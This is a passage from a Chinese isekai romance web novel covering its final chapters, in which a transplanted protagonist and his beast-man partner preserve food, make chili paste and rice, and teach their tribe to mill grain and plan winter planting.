也就半个鸡蛋大一勺,嚼碎正要往下咽,花时安整个人突然僵住,脖子一点点绷直,白皙的小脸染上一层薄薄的绯色。 瞧见这一幕,莫淮山噌地站起身,忙给他喂水,拍胸口。 风水轮流转,费了老鼻子劲将噎在喉咙里的面瓜咽下去,花时安长吁一口气。毫不夸张地说,这玩意儿比他穿越前夕风靡网络的干噎酸奶还噎,要是天天吃这个,保准脖子都能练出八块紧实的肌肉。 能咋办嘛,吃呗,兴许噎着噎着就习惯了。 一顿捶胸顿足、令人面红耳赤的早餐结束,花时安揉了揉装满水的肚皮,和自家兽人开始收拾屋子。 水田今年的收成非常不错,家家户户都分到了一批可观的稻谷。作为狩猎队一员,莫淮山还领到了额外份额,而作为祭司的花时安领到的稻谷和两位族长一样多。 他们家的粮食绝对算是部落最多的,尤其是稻谷,两个人一天一顿米饭,稍微省着点吃,吃到来年春天不成问题。 沉甸甸的箩筐还要往阁楼上挑,体力活莫淮山不让花时安插手,于是两人分头行动,一个负责晾晒粮食,一个负责捣拾屋里的东西。 收拾房屋很有意思,花时安干劲十足,直接开干。 陶锅平稳嵌进锅口中,碗筷与盆盆罐罐整齐放进橱柜里,油盐小罐贴墙放在台面上,菜板菜刀放上操作台,干柴塞进灶台边上小角落,用来装水的大陶缸搬到餐桌旁…… 厨房还有很大空间,他把一部分耐存放的蔬果搬进屋放着,剩下的一股脑搬进杂物间。然后多余的桌椅板凳,杂七杂八的干货、工具器具通通搬进杂物间,用的时候再往外拿。 在堂屋与各个房间之间来回跑,看着空荡荡的屋子渐渐被填满,看着乱糟糟的屋子一点点变整洁,花时安成就感满满,仿佛沐浴在和煦的阳光下,心里暖洋洋的。 这就是他们以后吃住的地方,属于他们的家。 第125章 第 125 章 大米饭 说是下雨天在家休息, 可上午把屋子收拾好,把粮食晾上,花时安和莫淮山依旧在堂屋里忙碌,一人拿着一把小骨刀, 坐在窗边削蛇黄瓜。 没办法, 分家还分到好些新鲜蔬果, 这些东西放不了多久就会坏,得及时吃完,但又量有点多,两个人三五天根本吃不完,只能想办法制成耐储存的食品,囤在家里慢慢吃。 当然, 对花时安而言,宅在家捣拾食物,也算一种休息。 两人坐在堂屋从蛇黄瓜开始,这玩意儿产量极高,他们家分了足足七背篓。虽说可清炒可凉拌可炖煮,有很多种烹饪方式,但顿顿吃搁谁都顶不住, 所以花时安决定将其晒干储存。 蛇黄瓜处理起来还算简单, 一人一背篓,削头去尾, 剜去坏掉的部分即可。七背篓蛇黄瓜很快便削完, 就是准备洗的时候遇到个小问题。 外边雨又下大了,家里却没存多少水,冒雨去河边清洗保准淋成落汤鸡。 不过这问题也很好解决,望着窗外声势浩大的暴雨, 花时安让莫淮山把厨房里的空陶缸搬到楼梯上放着,然后就不用管了,回来继续挑选蓝莓、蔓越莓。 等蓝莓挑得差不多了,花时安让他把陶缸搬回来,和预料中一样,陶缸里满满当当全是水。 雨水不干净?没事儿,反正平常吃的河水也没多干净。 不干不净,吃了没病。 蛇黄瓜放陶盆里清洗干净,花时安和莫淮山埋头一顿切,将其全部切成小指粗细的长条,最后平铺在簸箕里进行晾晒。 最近天气不好,每天都是雨,幸好温度不算低,下午偶尔也会晒晒太阳。晾晒蔬果干依然能晒干,只是需要的时间稍长一些。 蛇黄瓜处理好,稍事休息片刻,接下来便是蓝莓。 挑选好的蓝莓蔓越莓洗净沥干,分成两份,莫淮山把其中一半铺在簸箕里晾晒,准备晒成蓝莓干;花时安陆续把另一半搬进厨房,打算熬制蓝莓果酱。 洗锅生火,蓝莓倒入陶锅中,用锅铲压扁,慢慢熬煮。 待果肉软烂,果汁黏稠,花时安从橱柜里抱出一个大陶罐,用勺子舀出晶莹剔透的蜂蜜。 第一批蜂蜜早已吃完,装在陶罐里的是第二批。 黑大蜜蜂随季节更替而迁徙,夏季正是它们从低矮地区迁至高山区的时节,花时安前一阵特意让狩猎队去找,不出意料地在去年摘酸木瓜那一片找到了蜂巢,又收获一大批蜂蜜。 蜂蜜分得不多,他们两个人也就领到两陶罐,但不用刻意省着吃,因为再过不久小麦就成熟了,到时候用麦子催芽制作麦芽糖,蜂蜜将不再是唯一的“糖”。 思绪一不小心飘远了,花时安把蜂蜜罐放回橱柜,将锅中蓝莓与蜂蜜搅拌均匀,盛进干净的陶罐中。 接连熬了好几锅,蓝莓总算是处理完了,花时安顶着一头汗从厨房里走出来,坐在堂屋里的莫淮山被一团团鲜艳的红色包围。 刺鼻的辛辣味萦绕在空气中,细嗅还能嗅到一丝属于果蔬的清香,这些鲜艳的红色条状物正是莫淮山畏惧,花时安喜爱的辣椒。 兽人动作很快,这么一会儿功夫,辣椒蒂已经摘得差不多了。花时安擦了擦汗,走回窗边立马换水进行清洗,随后把辣椒平均分成两份。 一半铺到簸箕里晒干,干辣椒之后可以捣成辣椒面,热油往上一浇便是香喷喷的油泼辣子,或者炒菜时切上几段,香得直流口水。 剩下一半则用来做酱——豆瓣酱、剁椒酱。 分家时特意搬了脸盆大一个石锅回来,现在正好派上用场。辣椒去蒂清净,花时安将石锅搬到窗边,旋即把辣椒丢进清洗干净的石锅中,握着木杵直接开捣。 新鲜辣椒生脆,木杵一捣便四五分裂,咚咚咚地捣上数百下,一锅生辣椒变成一锅红艳艳的辣椒酱,辣椒籽与辣椒肉捣碎充分融合,色泽鲜亮诱人,香辣味愈发浓郁。 这可比用刀切效率多了,做粗的豆瓣酱一点就少捣几下,做细的剁椒酱便多捣几下,捣完舀进陶盆即可,方便又快捷,还不辣手,唯一的坏处就是有点熏眼睛。 晾完辣椒从阳台上回来,莫淮山进门就看到花时安抬着胳膊蹭眼睛。像是被人欺负,受了天大的委屈,他鼻尖泛红,眉头微蹙,红红的眼睛蓄着泪水。 “这是怎么了?”莫淮山心里咯噔一声,快步走到花时安面前,双手捧起他脸,拇指轻轻拂过泛红的眼尾,“怎么了时安,怎么还哭了?” 被他着急忙慌的样子吓了一跳,花时安呆呆愣了两秒,茫然眨眨眼,“哭?我没——” 话还没说完,一行热泪溢出眼眶,缓缓划过脸颊。 莫淮山眉头一皱,嘴唇绷成一条直线,而慢半拍的花时安终于反应过来了,先是一愣,忽地笑出声,“不是,我没有哭!这不是眼泪,不对,不是伤心的眼泪,这是被辣酱熏出来的眼泪。” 兽人没说话,动作轻柔地替花时安擦掉眼泪,歪着脑袋与他对视,眼中闪过一丝疑惑。 不想让人担心,花时安吸了吸鼻子,忙解释道:“你吃过辣椒应该知道的呀,辣椒很辣,味道刺激,捣碎之后那味儿全蹿上来了,多少有点熏眼睛。” 莫淮山半信半疑看了他一眼,垂眸看向石锅,两息之后,他松开花时安坐在旁边,二话不说把石锅挪到自己面前,不容抗拒地从花时安手中夺过木杵。 “哎,你干嘛。” 掌心一空,花时安下意识就要往回抢,但他哪是莫淮山的对手,刚要起身就被兽人强硬地按在凳子上,甚至人家只用了一只手。 一只手按着他,一只手咚咚咚地捣辣椒,莫淮山全程头也没抬,不紧不慢道:“辣椒我来捣,我看蚕豆好像泡发了,你去剥。” 花时安嘴巴一瘪,抬手给了他一肘,“你连辣椒都不怎么吃,还捣辣椒,受得了吗你。撒手,把石锅还给我,我就是开始不习惯,闻着闻着就好了。” 知道莫淮山担心他,为了他好,但让一个不爱吃辣椒的人长时间泡在辣椒堆里,于身心都是一种折磨。 好似猜到他心中所想,莫淮山僵着脖子抬起头,犬齿咬着下唇,酝酿好半晌才支支吾吾地开口:“时安,我已经不是以前的我了,上次、上次你忘了吗?我吃了好多辣椒炒肉。” “上次?”花时安挑了下眉,“辣到面红耳赤那次?” 莫淮山小脸一红,“那是意外,被辣椒籽呛到了。” 花时安乐得不行,放肆笑了好一阵儿,直到瞅见莫淮山愈发别扭的神情才有所收敛,抬手在他肩膀上拍了拍,“好好好,只是呛到了。现在不一样的淮山想捣就捣,被辣味熏到过一会儿就好了,但注意别让辣椒溅到眼睛里,不然遭老罪。” “嗯,会注意的。”莫淮山点点头。 听窗外雨声渐弱,花时安伸了个懒腰站起身,“那行,你先捣着,我看雨小了点,出去一趟。” 莫淮山倏地一抬头,“去哪?去做什么?” 生怕他跟人跑了似的,莫淮山声音突然拔高,花时安脚下步子一顿,回过头,伸手在他发顶上胡乱揉了一把,“不跑,放心吧。咱们家今天做酱,我寻思叫岩知乐他们过来看看,学一学,省得他们全部晒成干辣椒,回头吃不完。” 去做正事,不应该阻拦的,但莫淮山犹豫片刻,轻轻将花时安垂在身侧的手攥在掌心,小声嘟囔了一句:“时安,我、我们难得在家休息一天,两个人相、相处,我……不想有别人。” 嚯,这是想跟他过二人世界啊。 正事要紧,花时安下意识就想拒绝,可垂眸对上兽人蕴含期待的眸子,心一下子就软了,拒绝的话顿时哽在了喉咙里。 半天没说话,莫淮山以为没戏了,悻悻垂下脑袋。正准备松开花时安的手让人离开,掌心柔软的小手抢先挣脱出来,而后反握住了他的手。 “不叫他们了,反正辣椒放一两天也不会坏,明天抽空再去教他们。今天呢,属于我们两个,咱们好好过二人世界。” 清越而温和的嗓音从头顶传来,听懂他的话,蔫哒哒的兽人瞬间精神了,他刷地抬起头,眉眼含笑,眸中漾着浓浓的欣喜。 一点小事高兴成这样,真是乖得不行,花时安忍不住了,果断上前半步,弯腰低头,挑着兽人的下巴亲了上去。 浅尝辄止,一触即分,莫淮山却上瘾了,扬着下巴试图加深这个吻,花时安飞快后退两步拉开距离,晃了晃食指,“大白天的不许胡闹。” “不胡闹,再亲一下。”莫淮山意犹未尽地舔了舔嘴唇。 没得商量,花时安转身就走,“晚点吧,趁着雨小,我还是要出去一趟。” “去做什么?” “做辣椒酱需要调料,我去地里摘点花椒,弄点姜蒜。” “带上蓑衣斗笠,雨可能还会下大。” “嗯嗯,知道。” …… 冒着小雨把调料弄回来,辣椒已经全部捣成了辣椒酱,莫淮山甚至抽空给提前泡好的老蚕豆去了皮,从中间掰成两半,掰成薄薄的蚕豆瓣。 这些蚕豆是前阵子采集队在森林里摘的,量不多,挑出一部分好豆留作种子,剩下的分到族人手里也就一人一大捧,做半陶缸酱刚好够用。 做豆瓣酱其实很简单,花时安卸下背篓,带着莫淮山忙碌起来。 姜蒜洗净切沫倒入辣酱缸,洗干净的青花椒和沥干水的豆瓣也倒进辣酱缸中,过程中确保生水不要带进酱缸,最后倒入大量盐(宁愿咸了也不能淡),用木杵充分搅拌均匀即可。 当然这种程度的辣酱还不能吃,需搬到屋外晒个三五天,早晚各搅拌一次,促进发酵,去除多余水分,改善口感与色泽。 待到缸中辣酱变成红亮诱人的棕红色,再倒入适量橄榄油搅拌均匀,麻辣鲜香的豆瓣酱大功告成。最后用棕片、竹篱加木盖密封好,放在阴凉处,放个一年半载都不会坏。 辣酱搬到阳台,花时安如同不知疲倦地陀螺,又一头扎进了厨房。 洗锅生火,倒适量橄榄油,油温升高下姜蒜与青花椒,再把刚才特意留的一小罐生酱倒入锅中翻炒。小火将辣酱炒断生,放五勺细盐,再次翻炒均匀,起锅装罐。 香喷喷、油滋滋的即食剁椒酱炒好了! 吃面吃饭时来上两勺,又香又辣又下饭。 辣香穿透力极强,生火炒完剁椒酱,在堂屋都能闻到浓浓的辣酱香。香味太过诱人,早上只吃了一个面瓜的花时安揉揉肚皮,饿了。 时间也不早了,事已至此,做饭吧。 看得见吃不着的稻谷勾得人心痒痒,花时安馋得不行,偏偏莫淮山又一直纵容、怂恿,最后他实在没忍住,端着陶盆噔噔噔地跑上阁楼,装了大半盆稻谷。 稻谷尚未晒干,不好脱壳,但只要想吃,办法总比困难多。刚才捣辣椒的石锅就是个很好的脱壳工具,花时安将少量稻谷倒进石锅中,用韧劲试着捣了数十下,乳白色的米粒依稀可见。 花多一点时间,米饭绝对能吃到嘴里,花时安大喜过望,果断将舂米一事交给莫淮山,自个儿又钻进厨房备菜。 心心念念的箜干饭必须吃一顿,花时安将肥瘦相间的猪肉干丢入冷水盆中浸泡,削了几个土豆和豇豆一同切成粒。 第一顿大米饭,配菜当然也得有两盘,于是他又切四根青黄瓜,三根茄子,顺便把晒干菜剩下的蛇黄瓜削皮切成条。 忙前忙后一个多小时,三菜一汤端上餐桌。 清新鲜美的蒜泥蛇黄瓜、软烂入味的茄子炒肉、清脆爽口的凉拌黄瓜、醇厚丝滑的米汤,还有今晚的重头戏——香喷喷、油亮亮,每一粒米都裹着油汁,带有一层锅巴的箜干饭。 激动的心颤抖的手,看着桌上不算丰盛但热气腾腾的饭菜,花时安两眼放光,迫不及待地拿起碗筷,笑着看向莫淮山,“咱们家的开锅饭,咱们家的第一顿大米饭,开动!” 第 126 章【正文完】 第126章 第 126 章 正文完 声势浩大地来, 悄无声息地走,一晃眼雨季结束了。 秋季带来的凉爽随秋雨离去,前不久才黯然退场的夏季卷土重来,毒辣的太阳高高悬挂苍穹, 如烈火般炽热, 无情炙烤着大地。 持续暴晒多日, 森林里湿润的潮气尽数散去,炎炎烈日加速作物生长,转眼间,田野里绿油油的麦苗化作金色麦浪,糯稻沉甸甸的稻穗变得圆润饱满。 收麦子、打糯稻、割苦荞,难得清闲一阵的穰穰部落重新步入正轨, 再度忙碌起来。而忙前忙后,好不容易将成熟的谷麦收回部落晾晒,田间茁壮成长的黄豆、玉米相继成熟。 摘豆荚、掰玉米,百忙中还抽空盖了两间羊圈,四个大型兔笼。原因无他,兔子又双叒生崽子了,树洞已经住不下了, 圈养了近半年的红羊也首次生下一只小羊羔。 部落大事琐事依次忙活完, 秋老虎的余威彻底散尽。天气渐渐转凉,去年秋天帮助部落在巨树森林立足的松子、板栗陆续成熟。 食物不嫌多, 一大早, 木族长带着采集队前去采摘大自然的馈赠。原本花时安也想跟着去的,但经过多日晾晒,秋日收回来的粮食干透了,分发到族人手中之前, 花时安还要教会他们如何食用,如何将粮食制成生活所需的调味品。 不同的作物有不同的作用,清早在草地碰头,花时安带着十个多个学生开启新一轮的忙碌,势必将每种食物的用途及食用方法全部灌输给他们。 首先是苦荞,作为一种杂粮,混在五大主粮中毫不起眼,但苦荞的用途其实很多,去壳烘干炒熟便是苦而清香、健脾利湿的苦荞茶,研磨成粉还可蒸制糕点、调制苦荞凉粉。 最主要的,苦荞麦蒸熟倒入陶缸中,加入自制酒曲进行发酵。等3-7天发酵完成后,再进行晾晒,自然接种醋酸菌,即可得到带有浓浓谷物清香的苦荞醋。 醋有了,酱油也不能少。黄豆泡透蒸熟,拌面粉发酵成黄绿曲,加盐水中晒酿数月,每日搅拌一次,最后酱醅变为深褐色,散发着浓郁的酱香,滤出汁液煮沸杀菌,即可得到酱油。 酿制方法总体来说还算简单,但需要无比漫长的时间。 醋和酱油短时间里是吃不上了,花时安带着族人继续开发黄豆的其他吃法。发豆芽、磨浆煮豆浆、卤水点豆腐、厚切老豆腐熏豆干…… 相比苦荞,黄豆的吃法可太多了,花时安张口就能报出一大串,但和小麦相比,碳水脑袋花时安私心认为小麦更甚一筹。 馒头、包子、饺子、馅饼、面条、糕点、面包……用石磨将小麦磨成粉,再筛成细面粉,能制作的面食两只手都数不过来。 * “什么味儿,好香啊。” “你们看,厨房那边在冒烟,香味应该是那边飘来的。” “好香好香,好特别的味道。” “快,走快些,回去看看祭司大人他们在做什么。” 采集队与狩猎队踩着夜色归来,刚走上田坎便被一阵浓郁的香味席卷。众人不由自主地加快了步伐,从快走变成小跑,风风火火地冲回部落。 背篓和工具往草地上一丢,兽人们好似丛林里三天饿九顿的野兽,转头就往厨房跑,但刚到食堂门口,他们被一排整齐摆放的箩筐所吸引,缓缓停下步伐。 整齐摆放的箩筐满满当当,装着颜色各异的粉末,细腻丝滑的白色粉末、颗粒感明显的黄色粉粒、色泽暗沉的土黄色粉末…… “这都是什么?”岩秋雨停在一筐白色粉末跟前,手很欠地捻了一小撮,两指来回摩挲,“滑溜溜的,葛根粉么?” 红勇凑近瞅了一眼,“不像,葛根粉白中带灰,筐里这个好白,纯白色,跟冬天落下来的雪花一样。” “这个呢?”大族长捻起一撮黄色粉粒,凑到鼻子底下闻了闻,“瞧着跟锯木粉似的,闻着有股淡淡的清香味。” “——嚏,阿嚏!” 学大族长捻了一撮土黄色粉末凑近闻,结果一不小心吸进了鼻子里,呛得莫淮山直打喷嚏。见众人齐齐扭头看过来,他不好意思地挠了挠头,干巴巴一笑,“粉末很细,容易吸到鼻子里,大家闻的时候小心点。” “你上嘴唇沾了点,快尝尝是什么。”岩秋雨打趣道。 莫淮山老老实实舔了下嘴唇,眉头一皱,“苦的,但有一点点植物的香味,像是——” “干什么,你们在干什么!不许瞎摸乱碰,给我住手!” 年纪大了跑不过狩猎队,木族长匆匆走上前时,好奇心旺盛的兽人已经把箩筐里的粉末挨个儿摸了个遍。 捻拿过程中难免洒出一些,看着落在箩筐边缘的粉末,木族长痛心疾首,挤进人群中如同赶鸭子一般将兽人们往旁边赶:“滚滚滚,滚蛋,一边玩去,离箩筐远一点。” 瞧他这般宝贝的护着箩筐,大族长更好奇了,忙问道:“老木,箩筐里这些五颜六色的粉末到底是什么?” “早上出门还没有呢,祭司大人他们今天弄的?” “是吃的还是做什么用的?” 问题一个接一个砸过来,木族长恨铁不成钢地瞪了众人一眼,无奈摇摇头,“你们呀,真是应了祭司大人那句话,四肢发达头脑简单,但凡动一动脑子都不至于来问我。” “前段时间让你们找石头、凿石磨,祭司大人说没说过做什么用?都说了要把粮食加工成粉末,这些粉末当然是粮食咯!” 这话一出,“头脑简单”的兽人总算是反应过来了。 “对哦,祭司大人是说过这话,所以这些都是粮食粉?” “哎呀不早说,我刚才还摸了,我都没洗手。” “黄色的是玉米,土黄色的是苦荞,白色的是什么?” “笨,小麦啊,小麦芯是白色。” “石磨碾出来的?好细腻,尤其是小麦粉和苦荞粉。” “咦,你们看,平台底下多了好多陶缸。” “里面好像装着东西,我进去看——” “嘿嘿嘿,干嘛呢,别捣乱!” 老早就听到外面吵吵嚷嚷,半天不见人进来,花时安特意走出来看,结果出门就看到一群捣蛋鬼要对他藏在平台底下的醋缸、酱缸下手。 一个两个手都没洗,可不敢让他们碰,花时安朝他们招招手,果断祭出杀手锏,“别在那看了,又不能吃又不能喝,没啥好看的,赶紧洗手去,洗完来厨房这边排队,吃饭了。” 话音未落,人群炸开了锅。 大族长两眼放光,“饭都做好了?今晚在食堂吃?” “哇,又能吃到祭司大人做的饭了。”巨明兴奋地手舞足蹈。 木族长捏着下巴琢磨片刻,问:“食堂里桌椅板凳都搬走了,还堆着一屋子粮食,咱们搁哪吃?” “别磨蹭了,赶紧的,今天晚上的饭拿手里就能吃!” 花时安扯着嗓子高呼一声,转身回了厨房。 为了教会族人用谷物豆类制作食物,顺带做的晚饭,今晚的食物非常杂,一人一竹筒豆浆,一碟煎豆腐,然后便是——馒头、素菜包子、玉米饼、苦荞蒸糕。 除了主食还是主食,一个比一个顶饱,搁现代社会估计没几个人喜欢这样的晚餐,但对在外劳作一天、从未尝过豆制品与面食的松鼠兽人来说,香,香迷糊。 白白胖胖的馒头松软有弹性,如云朵般细腻,每一口都让人无比满足;皮薄馅大的菜包鲜香十足,一口下去汤汁四溢,豇豆独有的清香与面粉融合,满口流香。 苦荞蒸糕更暄软,先苦后甜,回味无穷;颗粒感明显的玉米饼更有嚼劲,粗犷又细腻,回甜带着浓浓的玉米香。原滋原味的豆浆如牛奶般丝滑细腻,吃噎了来一口,醇厚浓香;煎豆腐外皮酥脆,内里软嫩,甚至不用咀嚼,一抿即化。 族人大概是个北方胃,相比花时安喜欢的大米饭,大部分人更喜欢馒头和包子。端着竹筒在木屋周围走上一圈,对馒头和包子的夸赞更多,听到他耳朵起茧子。 一口馒头一口豆浆,香,实在是香,木族长吃美了,一脸陶醉地倚着大树,吃完馒头吃包子,花时安走到面前他都没发现。 “族长。” 肩膀忽然被人拍了下,木族长恍然回过神,发现花时安正满眼疑惑地看着他。一不小心走神了,木族长咽下嘴里的食物,抹了抹嘴道:“怎么了?你刚才说什么,我没听见。” 花时安肩膀轻颤,低低笑了两声,“没听见就对了,因为我刚才压根没说话。” “嘿,那你还用那种眼神看着我。”木族长愤愤瞪了他一眼,举起竹筒饮下一大口豆浆。 花时安也不恼,上前半步学木族长倚在树干上,不紧不慢地问道:“怎么样啊族长,对今晚的晚饭还满意吗?” 聊这个可就有劲了,木族长点头如啄米,眉宇间染上笑意,“满意,可太满意了!这馒头,包子,还有这蒸糕,大香了,我活大半辈子就没吃过这么好吃的东西,比之前那大白米饭还香。” 评价这么高吗?花时安轻咳一声,为自己喜欢的米饭正名,“馒头好吃是因为和面时加了蜂蜜,菜包好吃是因为馅用油炒过,不然很淡的好吧,都没味儿,原汁原味我觉得还是米饭更好吃。” 木族长摇摇头,“不觉得,我更喜欢馒头,就这松松软软的口感,没味我都认了。” 花时安还想挣扎一下,但没来得及开口,木族长啃下一口菜包,心满意足地看向门前草地,自言自语般喃喃道:“去年这个时候我们还在森林里到处跑,到处找吃的,今年就吃上了以前我想都不敢想的食物,甭管馒头包子米饭,能填饱肚子的都是好东西。” “这话在理。”花时安笑着附和。 “对了,”木族长忽然想到了正事,眼底笑意渐淡,神情严肃颇为严肃道:“稻谷小麦玉米收完,门前空了好些地出来,再过不久冬天又要来了,那些地就空着还是……” 谈及正事,花时安不再嬉皮笑脸,认认真真道:“来找你就是为了说这个。以前没种子没条件,冬天只能宅在树洞,如今吃喝不愁,什么都有,我想今年冬天还是要种个一亩三分地,良性循环,就算开春我们也不用急着出门找吃的。” 木族长若有所思地点点头,“我和你想的一样,虽然冬天冷,但在家门口种种地没啥问题。时安你说说,什么作物耐寒?咱们先把种子准备好。” 花时安:“小麦、水芹菜、薤白、芦笋,还有前阵子你们在森林里找到的萝卜和紫油菜,这些作物适应性强,有一定的抗寒能力,即使在冰雪天也能顺利生长。” “不过能顺利越冬不是要等冬天才播种,再过半月差不多就可以播种了,早些种下去,让幼苗在冬季来临之前探出头,不然种子会被冻在土层里。” “成,我记下了,回头就交代下去。”木族长沉声应下。 春去秋来,穰穰部落在巨树森林扎根,茁壮成长。 时间过得真快,转眼已经整整一年了,望着远处被夜色笼罩的田地,望着作物在夜风中摇曳的阴影,木族长欣慰一笑,不由感慨:“当初谁又能想到,绝路竟是生路,多亏了你啊时安,我们算是把根扎在巨树森林里了,往后的日子不再一眼望到头,怎么说呢,让我感觉……有很多种可能。” 曾经好像也站在同样的位置,四周是杂草丛生的灌木丛,门前是一望无垠的草地,而短短一年时间,平地起木楼,门前稻花香。 穿到这个陌生的世界也整整一年了,重获新生,花时安收获了一副健康的身体,一群珍贵可爱的族人,一个英俊帅气、包容宠爱他的爱人。 木族长说得没错,花时安扬起下巴眺望远方,听河水潺潺流淌,听族人嬉笑打闹,回眸一眼在人群中看到那个满心满眼都是他的兽人,他粲然一笑,悠然恣意道: “我们的未来有无限种可能。” ——正文完——